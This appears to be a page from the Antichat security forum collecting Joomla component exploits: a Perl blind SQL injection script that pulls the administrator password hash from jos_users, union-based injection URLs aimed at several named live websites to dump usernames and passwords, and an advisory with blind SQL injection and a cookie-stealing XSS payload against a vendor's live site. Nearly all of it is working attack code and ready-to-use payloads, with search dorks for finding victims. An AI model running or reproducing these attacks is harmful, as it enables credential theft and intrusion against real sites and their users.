ANTICHAT — форум по информационной безопасности, OSINT и технологиям

#!/usr/bin/perl  use LWP::UserAgent;  use Getopt::Long;  if(!$ARGV[1])  {    print "                                                                        \n";    print "  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";    print "  o   Joomla Component com_ijoomla_rss Blind SQL Injection Exploit              o\n";    print "  o   Author:xoron                                               o\n";    print "  o   More info:http://joomla15.ijoomlademo.com o\n";    print "  o   vendor:http://ijoomlademo.com                                o\n";    print "  o   Dork :   com_ijoomla_rss                                       o\n";    print "  o   Usage:   perl bachir.pl host path <options>                       o\n";    print "  o   Example: perl bachir.pl www.host.com /joomla/ -s 2                o\n";    print "  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";    exit;  }  my $host    = $ARGV[0];  my $path    = $ARGV[1];  my $userid  = 1;  my $sid     = $ARGV[2];  my %options = ();  GetOptions(\%options, "u=i", "s=i");  print "[~] Exploiting...\n";  if($options{"u"})  {    $userid = $options{"u"};  }  if($options{"s"})  {    $sid = $options{"s"};  }  syswrite(STDOUT, "[~] MD5-Hash: ", 14);  for(my $i = 1; $i <= 32; $i++)  {    my $f = 0;    my $h = 48;    while(!$f && $h <= 57)    {      if(istrue2($host, $path, $userid, $sid, $i, $h))      {        $f = 1;        syswrite(STDOUT, chr($h), 1);      }      $h++;    }    if(!$f)    {      $h = 97;      while(!$f && $h <= 122)      {        if(istrue2($host, $path, $userid, $sid, $i, $h))        {          $f = 1;          syswrite(STDOUT, chr($h), 1);        }        $h++;      }    }  }  print "\n[~] Exploiting done\n";  sub istrue2  {    my $host  = shift;    my $path  = shift;    my $uid   = shift;    my $sid   = shift;    my $i     = shift;    my $h     = shift;       my $ua = LWP::UserAgent->new;    my $query = "http://".$host.$path."index.php?option=com_ijoomla_rss&act=xml&cat=".$sid." and SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1)=char(".$h.")";    my $resp = $ua->get($query);    my $content = $resp->content;    my $regexp = "seminar_boxA";       if($content =~ /$regexp/)    {      return 1;    }    else    {      return 0;    }  }

Example:  http://localHost/path/index.php?option=com_tickets&task=form&id=n[SQL code]

http://www.helendaleeducationfoundation.org/index.php?option=com_tickets&task=form&id=1+and+1=2+union+select+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18+from+jos_users/*

http://www.narip.com/index.php?option=com_tickets&task=form&id=68+and+1=2+union+select+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+mos_users/*

www.allegra.as/index.php?option=com_svmap&id=-1&user_id=1&type=1&Itemid=2

http://www.agmodena.it/index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7,8/**/from/**/jos_users/**/where/**/usertype=CHAR(83,117,112,101,114,32,65,100,109,105 ,110,105,115,116,114,97,116,111,114)#&Itemid=92

###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                                  _       _          _                _         _   _ 
                                 / \      | |        | |               / \       | |  | |
                                / _ \    | |        | |              / _ \     | |_| |
                              / ___ \  | |___  | |___       /___ \   |  _   |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\  |_| |_|
                                                             

==============================================================================
        [�] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [�] Joomla Component v.7.5 (com_aclassf) Multiple Remote Vulnerabilities
==============================================================================

	[�] Script:             [ Joomla Almond Classifieds v.7.5 ]
	[�] Language:           [ PHP ]
        [�] Download:           [ http://www.almondsoft.com  ]
	[�] Founder:            [ Moudi <m0udi@9.cn> ]
        [�] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [�] Team:               [ EvilWay ]
        [�] Dork:               [ OFF ]
        [�] Price:              [ $195 ]
        [�] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]===	
	
[�] http://www.site.com/patch/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=[BLIND]

[�] http://www.almondsoft.com/j/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=11438   and 1=1 <= TRUE
[�] http://www.almondsoft.com/j/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=11438   and 1=2 <= FALSE

[�] http://www.almondsoft.com/j/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=11438+AND SUBSTRING(@@version,1,1)=5
    => TRUE
[�] http://www.almondsoft.com/j/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=11438+AND SUBSTRING(@@version,1,1)=5
    => FALSE

===[ Exploit XSS + LIVE : vulnerability ]===

[�] http://www.site.com/patch/components/com_aclassf/gmap.php?addr=[XSS]

[�] http://www.almondsoft.com/j/components/com_aclassf/gmap.php?addr="><script>alert(document.cookie);</script>

Author: Moudi

###########################################################################

?func=who',%20userid=123,%20link=(SELECT %20jos_users.password%20FROM%20jos_users%20WHERE%20jos_users.id=123)%20--%20a

http://localHost/path/index.php?option=com_jfusion&Itemid=n[Sql Code]  n:valid Itemid

+and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1/*

http://www.cd7.com.ec/index.php?option=com_jfusion&Itemid=66+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1

http://www.cd7.com.ec/index.php?option=com_jfusion&Itemid=66+and+ascii(substring((SELECT+concat(password,0x3a,username)+from+jos_users+limit+0,1),1,1))=97  !False ¡¡¡¡

http://www.cd7.com.ec/index.php?option=com_jfusion&Itemid=66+and+ascii(substring((SELECT+concat(password,0x3a,username)+from+jos_users+limit+0,1),1,1))=98  ¡True ¡¡¡¡